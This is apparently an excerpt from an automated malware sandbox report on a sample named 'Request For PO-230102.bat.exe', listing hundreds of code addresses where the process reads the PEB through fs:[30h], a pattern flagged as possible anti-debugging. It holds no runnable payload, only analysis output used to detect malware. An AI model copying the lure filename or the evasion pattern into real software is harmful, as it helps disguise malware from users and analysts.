          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DC5ED mov eax, dword ptr fs:[00000030h]4_2_015DC5ED
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DC5ED mov eax, dword ptr fs:[00000030h]4_2_015DC5ED
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A25E0 mov eax, dword ptr fs:[00000030h]4_2_015A25E0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE5E7 mov eax, dword ptr fs:[00000030h]4_2_015CE5E7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE5E7 mov eax, dword ptr fs:[00000030h]4_2_015CE5E7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE5E7 mov eax, dword ptr fs:[00000030h]4_2_015CE5E7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE5E7 mov eax, dword ptr fs:[00000030h]4_2_015CE5E7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE5E7 mov eax, dword ptr fs:[00000030h]4_2_015CE5E7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE5E7 mov eax, dword ptr fs:[00000030h]4_2_015CE5E7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE5E7 mov eax, dword ptr fs:[00000030h]4_2_015CE5E7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE5E7 mov eax, dword ptr fs:[00000030h]4_2_015CE5E7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE59C mov eax, dword ptr fs:[00000030h]4_2_015DE59C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016205A7 mov eax, dword ptr fs:[00000030h]4_2_016205A7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016205A7 mov eax, dword ptr fs:[00000030h]4_2_016205A7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016205A7 mov eax, dword ptr fs:[00000030h]4_2_016205A7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D4588 mov eax, dword ptr fs:[00000030h]4_2_015D4588
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A2582 mov eax, dword ptr fs:[00000030h]4_2_015A2582
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A2582 mov ecx, dword ptr fs:[00000030h]4_2_015A2582
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C45B1 mov eax, dword ptr fs:[00000030h]4_2_015C45B1
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C45B1 mov eax, dword ptr fs:[00000030h]4_2_015C45B1
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162C460 mov ecx, dword ptr fs:[00000030h]4_2_0162C460
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159645D mov eax, dword ptr fs:[00000030h]4_2_0159645D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C245A mov eax, dword ptr fs:[00000030h]4_2_015C245A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE443 mov eax, dword ptr fs:[00000030h]4_2_015DE443
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE443 mov eax, dword ptr fs:[00000030h]4_2_015DE443
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE443 mov eax, dword ptr fs:[00000030h]4_2_015DE443
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE443 mov eax, dword ptr fs:[00000030h]4_2_015DE443
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE443 mov eax, dword ptr fs:[00000030h]4_2_015DE443
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE443 mov eax, dword ptr fs:[00000030h]4_2_015DE443
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE443 mov eax, dword ptr fs:[00000030h]4_2_015DE443
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DE443 mov eax, dword ptr fs:[00000030h]4_2_015DE443
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CA470 mov eax, dword ptr fs:[00000030h]4_2_015CA470
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CA470 mov eax, dword ptr fs:[00000030h]4_2_015CA470
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CA470 mov eax, dword ptr fs:[00000030h]4_2_015CA470
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0165A456 mov eax, dword ptr fs:[00000030h]4_2_0165A456
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01626420 mov eax, dword ptr fs:[00000030h]4_2_01626420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01626420 mov eax, dword ptr fs:[00000030h]4_2_01626420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01626420 mov eax, dword ptr fs:[00000030h]4_2_01626420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01626420 mov eax, dword ptr fs:[00000030h]4_2_01626420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01626420 mov eax, dword ptr fs:[00000030h]4_2_01626420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01626420 mov eax, dword ptr fs:[00000030h]4_2_01626420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01626420 mov eax, dword ptr fs:[00000030h]4_2_01626420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D8402 mov eax, dword ptr fs:[00000030h]4_2_015D8402
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D8402 mov eax, dword ptr fs:[00000030h]4_2_015D8402
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D8402 mov eax, dword ptr fs:[00000030h]4_2_015D8402
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA430 mov eax, dword ptr fs:[00000030h]4_2_015DA430
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159E420 mov eax, dword ptr fs:[00000030h]4_2_0159E420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159E420 mov eax, dword ptr fs:[00000030h]4_2_0159E420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159E420 mov eax, dword ptr fs:[00000030h]4_2_0159E420
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159C427 mov eax, dword ptr fs:[00000030h]4_2_0159C427
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A04E5 mov ecx, dword ptr fs:[00000030h]4_2_015A04E5
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162A4B0 mov eax, dword ptr fs:[00000030h]4_2_0162A4B0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D44B0 mov ecx, dword ptr fs:[00000030h]4_2_015D44B0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A64AB mov eax, dword ptr fs:[00000030h]4_2_015A64AB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0165A49A mov eax, dword ptr fs:[00000030h]4_2_0165A49A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A0750 mov eax, dword ptr fs:[00000030h]4_2_015A0750
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2750 mov eax, dword ptr fs:[00000030h]4_2_015E2750
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2750 mov eax, dword ptr fs:[00000030h]4_2_015E2750
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D674D mov esi, dword ptr fs:[00000030h]4_2_015D674D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D674D mov eax, dword ptr fs:[00000030h]4_2_015D674D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D674D mov eax, dword ptr fs:[00000030h]4_2_015D674D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A8770 mov eax, dword ptr fs:[00000030h]4_2_015A8770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B0770 mov eax, dword ptr fs:[00000030h]4_2_015B0770
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01624755 mov eax, dword ptr fs:[00000030h]4_2_01624755
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162E75D mov eax, dword ptr fs:[00000030h]4_2_0162E75D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A0710 mov eax, dword ptr fs:[00000030h]4_2_015A0710
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D0710 mov eax, dword ptr fs:[00000030h]4_2_015D0710
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161C730 mov eax, dword ptr fs:[00000030h]4_2_0161C730
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DC700 mov eax, dword ptr fs:[00000030h]4_2_015DC700
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D273C mov eax, dword ptr fs:[00000030h]4_2_015D273C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D273C mov ecx, dword ptr fs:[00000030h]4_2_015D273C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D273C mov eax, dword ptr fs:[00000030h]4_2_015D273C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DC720 mov eax, dword ptr fs:[00000030h]4_2_015DC720
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DC720 mov eax, dword ptr fs:[00000030h]4_2_015DC720
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162E7E1 mov eax, dword ptr fs:[00000030h]4_2_0162E7E1
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AC7C0 mov eax, dword ptr fs:[00000030h]4_2_015AC7C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A47FB mov eax, dword ptr fs:[00000030h]4_2_015A47FB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A47FB mov eax, dword ptr fs:[00000030h]4_2_015A47FB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016207C3 mov eax, dword ptr fs:[00000030h]4_2_016207C3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C27ED mov eax, dword ptr fs:[00000030h]4_2_015C27ED
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C27ED mov eax, dword ptr fs:[00000030h]4_2_015C27ED
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C27ED mov eax, dword ptr fs:[00000030h]4_2_015C27ED
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016547A0 mov eax, dword ptr fs:[00000030h]4_2_016547A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164678E mov eax, dword ptr fs:[00000030h]4_2_0164678E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A07AF mov eax, dword ptr fs:[00000030h]4_2_015A07AF
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166866E mov eax, dword ptr fs:[00000030h]4_2_0166866E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166866E mov eax, dword ptr fs:[00000030h]4_2_0166866E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BC640 mov eax, dword ptr fs:[00000030h]4_2_015BC640
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D2674 mov eax, dword ptr fs:[00000030h]4_2_015D2674
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA660 mov eax, dword ptr fs:[00000030h]4_2_015DA660
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA660 mov eax, dword ptr fs:[00000030h]4_2_015DA660
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E2619 mov eax, dword ptr fs:[00000030h]4_2_015E2619
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B260B mov eax, dword ptr fs:[00000030h]4_2_015B260B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B260B mov eax, dword ptr fs:[00000030h]4_2_015B260B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B260B mov eax, dword ptr fs:[00000030h]4_2_015B260B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B260B mov eax, dword ptr fs:[00000030h]4_2_015B260B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B260B mov eax, dword ptr fs:[00000030h]4_2_015B260B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B260B mov eax, dword ptr fs:[00000030h]4_2_015B260B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B260B mov eax, dword ptr fs:[00000030h]4_2_015B260B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E609 mov eax, dword ptr fs:[00000030h]4_2_0161E609
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A262C mov eax, dword ptr fs:[00000030h]4_2_015A262C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BE627 mov eax, dword ptr fs:[00000030h]4_2_015BE627
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D6620 mov eax, dword ptr fs:[00000030h]4_2_015D6620
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D8620 mov eax, dword ptr fs:[00000030h]4_2_015D8620
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E6F2 mov eax, dword ptr fs:[00000030h]4_2_0161E6F2
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E6F2 mov eax, dword ptr fs:[00000030h]4_2_0161E6F2
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E6F2 mov eax, dword ptr fs:[00000030h]4_2_0161E6F2
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E6F2 mov eax, dword ptr fs:[00000030h]4_2_0161E6F2
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016206F1 mov eax, dword ptr fs:[00000030h]4_2_016206F1
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016206F1 mov eax, dword ptr fs:[00000030h]4_2_016206F1
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA6C7 mov ebx, dword ptr fs:[00000030h]4_2_015DA6C7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA6C7 mov eax, dword ptr fs:[00000030h]4_2_015DA6C7
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A4690 mov eax, dword ptr fs:[00000030h]4_2_015A4690
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A4690 mov eax, dword ptr fs:[00000030h]4_2_015A4690
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D66B0 mov eax, dword ptr fs:[00000030h]4_2_015D66B0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DC6A6 mov eax, dword ptr fs:[00000030h]4_2_015DC6A6
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01644978 mov eax, dword ptr fs:[00000030h]4_2_01644978
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01644978 mov eax, dword ptr fs:[00000030h]4_2_01644978
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162C97C mov eax, dword ptr fs:[00000030h]4_2_0162C97C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01620946 mov eax, dword ptr fs:[00000030h]4_2_01620946
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01674940 mov eax, dword ptr fs:[00000030h]4_2_01674940
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E096E mov eax, dword ptr fs:[00000030h]4_2_015E096E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E096E mov edx, dword ptr fs:[00000030h]4_2_015E096E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E096E mov eax, dword ptr fs:[00000030h]4_2_015E096E
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C6962 mov eax, dword ptr fs:[00000030h]4_2_015C6962
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C6962 mov eax, dword ptr fs:[00000030h]4_2_015C6962
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C6962 mov eax, dword ptr fs:[00000030h]4_2_015C6962
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01598918 mov eax, dword ptr fs:[00000030h]4_2_01598918
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01598918 mov eax, dword ptr fs:[00000030h]4_2_01598918
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162892A mov eax, dword ptr fs:[00000030h]4_2_0162892A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0163892B mov eax, dword ptr fs:[00000030h]4_2_0163892B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E908 mov eax, dword ptr fs:[00000030h]4_2_0161E908
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161E908 mov eax, dword ptr fs:[00000030h]4_2_0161E908
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162C912 mov eax, dword ptr fs:[00000030h]4_2_0162C912
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162E9E0 mov eax, dword ptr fs:[00000030h]4_2_0162E9E0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA9D0 mov eax, dword ptr fs:[00000030h]4_2_015AA9D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA9D0 mov eax, dword ptr fs:[00000030h]4_2_015AA9D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA9D0 mov eax, dword ptr fs:[00000030h]4_2_015AA9D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA9D0 mov eax, dword ptr fs:[00000030h]4_2_015AA9D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA9D0 mov eax, dword ptr fs:[00000030h]4_2_015AA9D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015AA9D0 mov eax, dword ptr fs:[00000030h]4_2_015AA9D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D49D0 mov eax, dword ptr fs:[00000030h]4_2_015D49D0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016369C0 mov eax, dword ptr fs:[00000030h]4_2_016369C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D29F9 mov eax, dword ptr fs:[00000030h]4_2_015D29F9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D29F9 mov eax, dword ptr fs:[00000030h]4_2_015D29F9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166A9D3 mov eax, dword ptr fs:[00000030h]4_2_0166A9D3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016289B3 mov esi, dword ptr fs:[00000030h]4_2_016289B3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016289B3 mov eax, dword ptr fs:[00000030h]4_2_016289B3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016289B3 mov eax, dword ptr fs:[00000030h]4_2_016289B3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A09AD mov eax, dword ptr fs:[00000030h]4_2_015A09AD
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A09AD mov eax, dword ptr fs:[00000030h]4_2_015A09AD
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B29A0 mov eax, dword ptr fs:[00000030h]4_2_015B29A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A4859 mov eax, dword ptr fs:[00000030h]4_2_015A4859
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A4859 mov eax, dword ptr fs:[00000030h]4_2_015A4859
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015D0854 mov eax, dword ptr fs:[00000030h]4_2_015D0854
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162E872 mov eax, dword ptr fs:[00000030h]4_2_0162E872
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162E872 mov eax, dword ptr fs:[00000030h]4_2_0162E872
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01636870 mov eax, dword ptr fs:[00000030h]4_2_01636870
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01636870 mov eax, dword ptr fs:[00000030h]4_2_01636870
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B2840 mov ecx, dword ptr fs:[00000030h]4_2_015B2840
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164483A mov eax, dword ptr fs:[00000030h]4_2_0164483A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164483A mov eax, dword ptr fs:[00000030h]4_2_0164483A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C2835 mov eax, dword ptr fs:[00000030h]4_2_015C2835
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C2835 mov eax, dword ptr fs:[00000030h]4_2_015C2835
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C2835 mov eax, dword ptr fs:[00000030h]4_2_015C2835
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C2835 mov ecx, dword ptr fs:[00000030h]4_2_015C2835
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C2835 mov eax, dword ptr fs:[00000030h]4_2_015C2835
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C2835 mov eax, dword ptr fs:[00000030h]4_2_015C2835
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DA830 mov eax, dword ptr fs:[00000030h]4_2_015DA830
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162C810 mov eax, dword ptr fs:[00000030h]4_2_0162C810
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166A8E4 mov eax, dword ptr fs:[00000030h]4_2_0166A8E4
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CE8C0 mov eax, dword ptr fs:[00000030h]4_2_015CE8C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DC8F9 mov eax, dword ptr fs:[00000030h]4_2_015DC8F9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015DC8F9 mov eax, dword ptr fs:[00000030h]4_2_015DC8F9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016708C0 mov eax, dword ptr fs:[00000030h]4_2_016708C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A0887 mov eax, dword ptr fs:[00000030h]4_2_015A0887
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0162C89D mov eax, dword ptr fs:[00000030h]4_2_0162C89D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01598B50 mov eax, dword ptr fs:[00000030h]4_2_01598B50
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01636B40 mov eax, dword ptr fs:[00000030h]4_2_01636B40
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01636B40 mov eax, dword ptr fs:[00000030h]4_2_01636B40
